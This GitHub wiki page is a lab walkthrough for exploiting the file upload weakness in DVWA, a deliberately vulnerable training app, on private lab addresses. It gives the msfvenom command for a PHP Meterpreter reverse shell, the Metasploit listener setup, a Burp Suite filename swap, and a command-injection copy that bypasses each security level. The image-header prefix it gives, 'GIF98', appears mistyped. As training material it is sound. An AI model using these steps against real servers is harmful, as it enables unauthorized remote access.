File upload in dvm - singirikondamani/Noted GitHub Wiki
Here’s a simplified step-by-step guide to exploit a file upload vulnerability at different security levels using Metasploit:
Steps for Low Security Level:
-
Generate Payload:
- Open a terminal on Parrot Security.
- Type:
sudo su(password:toor). - Navigate to root:
cd. - Generate a PHP payload:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.1.13 LPORT=4444 -f raw - Copy the generated payload.
-
Create PHP File:
- Navigate to Desktop:
cd /home/attacker/Desktop/. - Open the editor:
pluma upload.php. - Paste the payload and save the file as
upload.php.
- Navigate to Desktop:
-
Upload Payload:
- Open Firefox, go to:
http://10.10.1.22:8080/dvwa/login.php. - Login with Username:
admin, Password:password. - Change DVWA security level to Low.
- Go to File Upload.
- Upload
upload.php.
- Open Firefox, go to:
-
Set Up Metasploit Listener:
- In terminal, launch Metasploit:
msfconsole. - Set up the listener:
use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST 10.10.1.13 set LPORT 4444 run
- In terminal, launch Metasploit:
-
Execute the Payload:
- Open Firefox, go to:
http://10.10.1.22:8080/dvwa/hackable/uploads/upload.php. - The Meterpreter session starts.
- Open Firefox, go to:
-
Confirm Access:
- In Meterpreter, type:
sysinfoto view the victim’s system information.
- In Meterpreter, type:
Steps for Medium Security Level:
-
Generate Payload:
- Follow steps 1-2 as above, but save the file as
medium.php.jpg.
- Follow steps 1-2 as above, but save the file as
-
Upload with Burp Suite:
- Change DVWA security level to Medium.
- Set up Burp Suite proxy to intercept requests (proxy:
127.0.0.1, port8080). - Go to File Upload, upload
medium.php.jpg. - In Burp Suite, intercept and change filename from
medium.php.jpgtomedium.php. - Forward the request.
-
Set Up Listener:
- Follow step 4 from Low Security Level.
-
Execute Payload:
- Open Firefox, go to:
http://10.10.1.22:8080/dvwa/hackable/uploads/medium.php. - Meterpreter session starts.
- Open Firefox, go to:
-
Confirm Access:
- In Meterpreter, type:
sysinfo.
- In Meterpreter, type:
Steps for High Security Level:
-
Generate Payload:
- Follow steps 1-2 as above, but save the file as
high.jpeg. - Add
GIF98to the first line of the payload.
- Follow steps 1-2 as above, but save the file as
-
Upload & Bypass:
- Change DVWA security level to High.
- Upload
high.jpeg. - Use Command Injection to copy the file:
|copy C:\wamp64\www\DVWA\hackable\uploads\high.jpeg C:\wamp64\www\DVWA\hackable\uploads\shell.php
-
Set Up Listener:
- Follow step 4 from Low Security Level, but with
LPORT=2222.
- Follow step 4 from Low Security Level, but with
-
Execute Payload:
- Open Firefox, go to:
http://10.10.1.22:8080/dvwa/hackable/uploads/shell.php. - Meterpreter session starts.
- Open Firefox, go to:
-
Confirm Access:
- In Meterpreter, type:
sysinfo.
- In Meterpreter, type:
This concludes the steps for exploiting a file upload vulnerability at different security levels in DVWA using Metasploit.